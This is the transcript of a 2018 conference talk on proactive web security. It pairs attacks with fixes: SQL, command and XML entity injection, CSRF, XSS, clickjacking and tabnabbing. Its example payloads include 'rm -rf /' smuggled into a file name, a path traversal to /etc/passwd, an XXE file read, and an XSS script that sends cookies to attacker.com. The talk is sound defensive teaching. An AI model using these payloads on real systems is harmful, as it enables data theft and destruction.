Upgrade to Pro — share decks privately, control downloads, hide ads and more …

Proactive web security

Proactive web security

Keeping your web application secure and free from vulnerabilities is hard work, even if you know the OWASP Top 10. In this talk I will show tools, best practices and patterns to help you with this, so that you can find security issues before an attacker does and even prevent them in the first place.

8e82eb7e128a14a16d642ae55227339b?s=128

Bastian Hofmann

October 27, 2018
Tweet

More Decks by Bastian Hofmann

Other Decks in Programming

Transcript

  1. @BastianHofmann Proactive Web Security Bastian Hofmann

  2. Thinking about Security is important

  3. • 2013/14 • 3 billion user accounts

  4. • 2016 • 145 million user accounts

  5. • 2016 • 412 million user accounts

  6. • 2011 • 77 million user accounts
 $171 million loss

  7. • 2017 • Personal Information of
 143 million consumers

  8. Everyone is a target for attackers

  9. So let’s think about the harmful things a hacker can

    do
  10. And what we can do to prevent them

  11. Disclaimer

  12. None of these lists are ever complete

  13. Stay up-to-date

  14. Also

  15. Every topic starts basic and will get more advanced quickly

  16. None
  17. Try to get access to the database

  18. Use authentication and TLS

  19. Do not expose your databases to the internet

  20. “There are nearly 30,000 [MongoDB] instances on the Internet that

    don't have any authorization enabled” https:/ /blog.shodan.io/its-the-data-stupid/
  21. $ mongo yoursite.com

  22. Scan your public IPs for open ports

  23. nmap

  24. $ nmap scanme.nmap.org Starting Nmap 7.60 … Not shown: 994

    closed ports PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 135/tcp filtered msrpc 139/tcp filtered netbios-ssn 445/tcp filtered microsoft-ds 9929/tcp open nping-echo
  25. $ nmap www.researchgate.net Starting Nmap 7.60 … PORT STATE SERVICE

    80/tcp open http 443/tcp open https
  26. These are still two open ports

  27. Attack vector

  28. Bugs in your software

  29. Injections

  30. SQL Injection

  31. <?php $userId = $_GET[‘userId’]; $sql = ‘SELECT * FROM users

    WHERE id =‘ . $userId; $mysqli->query($sql);
  32. <?php // 12 OR TRUE $userId = $_GET[‘userId’]; $sql =

    ‘SELECT * FROM users WHERE id =‘ . $userId; $mysqli->query($sql);
  33. Escape

  34. <?php $name = $_GET[‘name’]; $name = $mysqli->real_escape_string($name); $sql = ‘SELECT

    * FROM users WHERE name = ’ . $name; $mysqli->query($sql);
  35. Use an ORM

  36. http:/ /www.doctrine- project.org/projects/ orm.html

  37. <?php $userId = (int) $_GET[‘userId’]; $user = $entityManager->find( ‘User’, $userId

    );
  38. Use prepared statements

  39. <?php $userId = (int) $_GET[‘userId’]; $rsm = new ResultSetMapping(); $query

    = $entityManager->createNativeQuery( 'SELECT * FROM users WHERE userId = ?', $rsm ); $query->setParameter(1, $userId); $users = $query->getResult();
  40. There are more types of injections

  41. Injection in HTTP requests

  42. <?php $client = new \GuzzleHttp\Client(); $res = $client->request( 'GET', 'https://api.com/path/?id='

    . $_GET[‘id'] );
  43. <?php $client = new \GuzzleHttp\Client(); $res = $client->request( 'GET', //

    6&admin=true 'https://api.com/path/?id=' . $_GET[‘id'] );
  44. Always escape

  45. <?php $client = new \GuzzleHttp\Client(); $res = $client->request( 'GET', 'https://api.com/path/?id='

    . urlencode($_GET[‘id’]) );
  46. Use sensible libraries

  47. <?php $client = new \GuzzleHttp\Client(); $res = $client->request( 'GET', 'https://api.com/path/',

    ['query' => ['id' => $_GET['id']]] );
  48. Command injection

  49. <?php $logFile = $_GET['logFile']; passthru( 'cat ' . __DIR__ .

    '/logs/' . $logFile );
  50. <?php // foo.log && rm -rf / $logFile = $_GET['logFile'];

    passthru( 'cat ' . __DIR__ . '/logs/' . $logFile );
  51. Always escape

  52. <?php $logFile = $_GET['logFile']; passthru( 'cat ' . escapeshellarg( __DIR__

    . '/logs/' . $logFile ) );
  53. Path traversals

  54. <?php // ../../../etc/passwd $logFile = $_GET['logFile']; passthru( 'cat ' .

    escapeshellarg( __DIR__ . '/logs/' . $logFile ) );
  55. Validation

  56. <?php $logFile = $_GET['logFile']; if (!preg_match('/^[a-z]+\.log$/', $logFile) { throw new

    \Exception('Invalid file name'); } passthru( 'cat ' . escapeshellarg( __DIR__ . '/' . $logFile ) );
  57. <?php $logFile = $_GET['logFile']; $file = realpath(__DIR__ . '/logs/' .

    $logFile); if (dirname($file) !== __DIR__ . '/logs') { throw \Exception('Invalid file'); } passthru( 'cat ' . escapeshellarg( $file ) );
  58. Code injection

  59. <?php $myvar = "varname"; $x = $_GET['arg']; eval("\$myvar = \$x;");

  60. Do not use eval or create_function

  61. XML Entity Injection

  62. <?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY >

    <!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo>
  63. Disable entity loading

  64. <?php // set this very early in your request libxml_disable_entity_loader(true);

  65. Only enable it, if you really need it

  66. Trusted SOAP APIs over TLS

  67. <?php function dangerouslyEnableXmlEntityLoader( callable $f ) { try { libxml_disable_entity_loader(false);

    return $f(); } finally { libxml_disable_entity_loader(true); } }
  68. If the attacker can’t find any injection vulnerabilities

  69. Trying to find bugs in libraries you use

  70. Keep things up to date

  71. Check for known security vulnerabilities

  72. None
  73. https:/ /github.com/ sensiolabs/security- checker

  74. $ php security-checker security:check ./composer.lock Symfony Security Check Report =============================

    [OK] No packages have known vulnerabilities.
  75. None
  76. $ npm audit (+) No known vulnerabilities found

  77. Trying to find bugs in your infrastructure

  78. Web-Server

  79. PHP

  80. OS

  81. Keep things up to date

  82. Scan for known vulnerabilities

  83. https:/ /github.com/ future-architect/vuls

  84. localhost (centos7.3.1611) ========================== Total: 109 (High:35 Medium:55 Low:16 ?:3) 31

    updatable packages CVE-2015-2806 10.0 HIGH (nvd) Stack-based buffer overflow in asn1_der_decoding in libtasn1 before 4.4 allows remote attackers to have unspecified impact via unknown vectors.
  85. If there are no vulnerabilities so far

  86. Try to take over accounts

  87. Man-in-the-middle attacks

  88. HTTP is plain text

  89. Very easy to read and modify on the wire

  90. Public WiFis

  91. $ sudo tcpdump -v port 80

  92. $ curl http://google.com

  93. 14:06:40.337900 IP6 (flowlabel 0xbb911, hlim 57, next- header TCP (6)

    payload length: 549) muc11s14-in-x0e. 1e100.net.http > 2a02:8109:9880:2e9c:94b4:a371:f1b3:b82b. 60808: Flags [P.], cksum 0x4ae9 (correct), seq 1:518, ack 75, win 106, options [nop,nop,TS val 2632812618 ecr 335746159], length 517: HTTP, length: 517 HTTP/1.1 302 Found Cache-Control: private Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Location: http://www.google.de/? gfe_rd=cr&dcr=0&ei=4LJYWo6FFKiF8Qe9w63gAQ Content-Length: 268 Date: Fri, 12 Jan 2018 13:06:40 GMT
  94. Encrypt the traffic

  95. TLS

  96. But “TLS is slow and expensive”

  97. https:/ /letsencrypt.org/

  98. https:/ /istlsfastyet.com/

  99. Check config

  100. https:/ /www.ssllabs.com/ ssltest

  101. None
  102. What happens when you enter a URL into the address

    bar?
  103. None
  104. $ curl -I http://www.researchgate.net HTTP/1.1 301 Moved Permanently Content-Length: 178

    Content-Type: text/html Date: Fri, 12 Jan 2018 13:02:35 GMT Location: https://www.researchgate.net/ Server: nginx Connection: keep-alive
  105. Man-in-the-Middle Attack on initial redirect

  106. Strict-Transport-Security https:/ /developer.mozilla.org/en-US/docs/Web/HTTP/Headers/S

  107. strict-transport-security: max-age=15552000; includeSubDomains; preload

  108. chrome:/ /net-internals/ #hsts

  109. Man-in-the-Middle Attack on the very first time the user visits

    a site
  110. Browser Preloads

  111. strict-transport-security: max-age=15552000; includeSubDomains; preload

  112. https:/ /hstspreload.org/

  113. So no man-in-the middle

  114. Brute force to guess the password

  115. Ratelimits

  116. Captchas

  117. None
  118. Log logins

  119. Alert user of logins on a new device

  120. None
  121. Remote logout

  122. None
  123. Two-Factor-Authentication

  124. “Less then 10 percent of all google users use Two-Factor-

    Authentication” http:/ /uk.pcmag.com/news/92919/most-google-accounts-dont-use-two-factor- authentication
  125. E-Mail only logins

  126. None
  127. None
  128. None
  129. None
  130. None
  131. Works great on mobile where entering a password is tedious

  132. Getting into the accounts directly is not possible or very

    expensive
  133. Doing actions on the user’s behalf without direct account takeover

  134. Cross Site Request Forgery

  135. http:/ /site.com/ deleteCurrentAccount

  136. Session cookie is necessary for the request to work

  137. On the site of an attacker

  138. <img src=“http://site.com/deleteCurrentAccount" />

  139. The browser automatically adds the session cookie when the image

    is fetched
  140. Or an email with “Hey click on http:/ /bit.ly/2n1b42n to

    win”
  141. Don’t support GET requests for writing operations

  142. Though that does not help

  143. On the site of an attacker

  144. <form method="POST" id="form" action="http://site.com/deleteCurrentAccount"> </form> <script> document.getElementById("form") .submit() </script>

  145. CSRF tokens

  146. Create token that has the Session ID cookie value encrypted

  147. <?php $plaintext = $sessionId . '/' . $userId . '/'

    . time(); $nonce = random_bytes(SODIUM_CRYPTO_SECRETBOX_NONCEBYTES); $token = base64_encode($nonce . sodium_crypto_secretbox($plaintext, $nonce, $key));
  148. Add this token to every non GET request

  149. <form method="POST" id="form" action=“http://site.com/deleteCurrentAccount"> <input type="hidden" name="csrf_token" value="<?php echo $token

    ?>" /> </form>
  150. Same for XHR requests

  151. Verify that the content of the token matches the session

    from the cookie
  152. <?php $token = $_POST['csrf_token']; $nonce = substr( $token, 0, SODIUM_CRYPTO_SECRETBOX_NONCEBYTES

    ); $crypt = substr( $token, SODIUM_CRYPTO_SECRETBOX_NONCEBYTES ); $plaintext = sodium_crypto_secretbox_open($crypt, $nonce, $key); [$sessionId, $userId, $time] = explode('/', $plaintext); // …
  153. if ( $sessionId !== session_id() || $userId !== $_SESSION['userId'] ||

    time() - $time > 7200 ) { throw \Exception('Invalid csrf token'); }
  154. Because of the Cross Origin Policy an attacker can not

    get hold of a matching CSRF token
  155. Libraries / Frameworks

  156. https:/ /symfony.com/ doc/current/security/ csrf.html

  157. Same Site Cookies

  158. Browser only sends cookie in a “first-party-context”

  159. http:/ / www.sjoerdlangkemper.nl /2016/04/14/preventing- csrf-with-samesite- cookie-attribute/

  160. Set-Cookie: sessionid=...; Secure; HttpOnly; SameSite=strict

  161. https:/ /wiki.php.net/rfc/ same-site-cookie

  162. https:/ /caniuse.com/ #feat=same-site-cookie- attribute

  163. None
  164. But there are other ways to do something on behalf

    of the user
  165. XSS Injection

  166. <html> <body> <div> User generated comment that comes from database

    </div> </body> </html>
  167. <html> <body> <div> <?php echo $comment; ?> </div> </body> </html>

  168. <html> <body> <div> User generated comment <script> fetch( 'http://attacker.com/?cookies=' +

    document.cookie ) </script> that comes from database </div> </body> </html>
  169. Escape content

  170. <html> <body> <div> <?php echo htmlspecialchars($comment); ?> </div> </body> </html>

  171. Template libraries

  172. https:/ / twig.symfony.com/

  173. {% autoescape "html" %} <html> <body> <div> {{ comment }}

    </div> </body> </html> {% endautoescape %}
  174. https:/ / mustache.github.io/

  175. <html> <body> <div> {{comment}} </div> </body> </html>

  176. Frontend frameworks

  177. https:/ /reactjs.org/

  178. What if you want to allow certain HTML tags

  179. Formatting, Links, Paragraphes, …

  180. HTML Purifier

  181. http:/ /htmlpurifier.org/

  182. $config = HTMLPurifier_Config::createDefault(); $purifier = new HTMLPurifier($config); $cleanHtml = $purifier->purify($dirtyHtml);

  183. ... or just use Markdown

  184. It’s easy to make errors

  185. Try to limit the impact

  186. HTTPS only Cookies

  187. Set-Cookie: sessionid=...; Secure; HttpOnly

  188. $expire = 0; $path = ''; $domain = ''; $secure

    = true; $httpOnly = true; setcookie( 'sessionId', '...', $expire, $path, $domain, $secure, $httpOnly );
  189. Content Security Policy

  190. https:/ / developer.mozilla.org/en- US/docs/Web/HTTP/CSP

  191. Content-Security-Policy: default-src 'none'; script-src 'self'; connect-src 'self'; img-src 'self'; style-src

    'self';
  192. None
  193. Reporting

  194. Content-Security-Policy: default-src … report-uri / csp_errors;

  195. Do not allow inline script tags

  196. But if you must

  197. CSP Nonces

  198. Content-Security-Policy: script-src 'nonce-2726c7f26c'

  199. <script nonce="2726c7f26c">...</script>

  200. This can still be bypassed

  201. Malicious JS NPM packages

  202. https:/ /hackernoon.com/im-harvesting- credit-card-numbers-and-passwords-from- your-site-here-s-how-9a8cb347c5b5

  203. Trying to trick user into providing sensitive information

  204. Phishing

  205. Mostly hard to prevent because it is out of your

    control
  206. But some attack vectors are preventable

  207. Clickjacking

  208. None
  209. None
  210. <html> <body> <iframe src="https://www.researchgate.net/login"> </iframe> <script> ... </script> </body> </html>

  211. No direct access to page in IFRAME possible

  212. Invisible input boxes overlaying the IFRAME
 to capture input

  213. Forbid displaying your page in an IFRAME

  214. X-Frame-Options: SAMEORIGIN

  215. Tabnabbing

  216. <a href="http://external.page" target="_blank"> Link </a>

  217. Common for linking URLs in user provided content

  218. In the opened window

  219. <script> if (window.opener) { opener.location = 'http://phishing-site.com'; } </script>

  220. Prevention

  221. <a href="http://external.page" target="_blank" rel="noopener"> Link </a>

  222. https:/ / mathiasbynens.github.io/ rel-noopener/

  223. So that was a lot of information

  224. Let’s sum it up

  225. The internet is a scary place

  226. If you have users you’re a target

  227. Stay alert

  228. Invest into good security practices

  229. There is always more

  230. Stay up to date

  231. http:/ /speakerdeck.com/ u/bastianhofmann

  232. mail@bastianhofmann.de https:/ /twitter.com/BastianHofmann

  233. Resources • https://www.owasp.org • https://twitter.com/miss_jwo/status/957555207868690434

  234. Backup slides

  235. Speaking of URL’s in user generated content

  236. Spot the difference

  237. researchgate.net/login rеsearchgate.net/login

  238. researchgate.net/login rеsearchgate.net/login This is a cyrillic “e”

  239. International domain names

  240. https:/ /en.wikipedia.org/ wiki/ IDN_homograph_attack

  241. Warn the user before browsing to a IDN URL

  242. None
  243. Warn on misspellings

  244. reserchgate.net/login

  245. researchgate.tv/login

  246. researchgate.education/login

  247. researchgate.attacker.com/login

  248. Follow redirects

  249. http:/ /bit.ly/1bdDlXc

  250. None
  251. Still HTML/XSS injection vulnerabilities are bad

  252. Try to detect them

  253. In your template library

  254. https:/ / mustache.github.io/

  255. Every time something gets escaped, also replace “e” with an

    escape sequence
  256. Before returning the resulting HTML

  257. Check if there are any “e” characters left

  258. If yes, log this as a potential XSS vulnerability

  259. Replace the escape sequence back to “e”

  260. <div class="some-name"> {{firstName}} {{{lastName}}} </div>

  261. firstName: Peter lastName: Parker

  262. <div class="som___101___-nam___101___"> P___101___t___101___r Parker </div>

  263. <div class="som___101___-nam___101___"> P___101___t___101___r Parker </div>

  264. Self XSS

  265. “Hey open the developer tools and paste this code there

    to get special features”
  266. Add console warning

  267. None
  268. <script> if ( typeof console === 'object' && console.log )

    { console.log( '%cWARNING!', 'color:white; background:red;' ); ... } </script>
  269. Check for internal IPs

  270. None
  271. With everything you do

  272. Log and monitor sensitive operations

  273. Alerts on suspicious behaviour

  274. Web Application Firewalls

  275. Ability to quickly block traffic patterns

  276. Linking URLs in user generated content

  277. Information disclosure through Referrer

  278. https:/ / developer.mozilla.org/en- US/docs/Web/HTTP/ Headers/Referer

  279. Referrer Policy

  280. Referrer-Policy: origin-when-cross-origin

  281. https:/ / developer.mozilla.org/en- US/docs/Web/HTTP/ Headers/Referrer-Policy